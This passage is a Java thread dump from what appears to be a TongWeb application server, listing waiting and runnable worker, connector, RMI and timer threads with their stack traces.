+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-6" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-1" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-ClientPoller-1" #145 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228)
+ at java.lang.Thread.run(Thread.java:750)
+
+"get-gc-info-timer" #21 daemon [TIMED_WAITING] on java.util.TaskQueue@591e80c5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+" server-work-3" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-10" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-10" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-7" #154 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-2" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Accept-0" #14 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-ClientPoller-0" #158 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6f3723c0
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"com.tongweb.tongejb.pool.scheduler.3" #56 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2cdea3d5
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-8" #141 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-2" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"process reaper" #11 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2e45d94e
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-9" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-8" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-4" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Stateful cache" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f07ceb
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-3" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-24" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-9" #156 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-5" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@550f7676
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"Thread-36" #99 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c16a709
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RetryTimer" #41 daemon [WAITING] on java.util.TaskQueue@c19806c
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+" server-work-7" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+" server-work-9" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-7" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-10" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-7" #140 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"persistence" #97 daemon [WAITING] on java.util.TaskQueue@c8ea220
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-9060-exec-3" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-3" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Accept-7200" #13 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
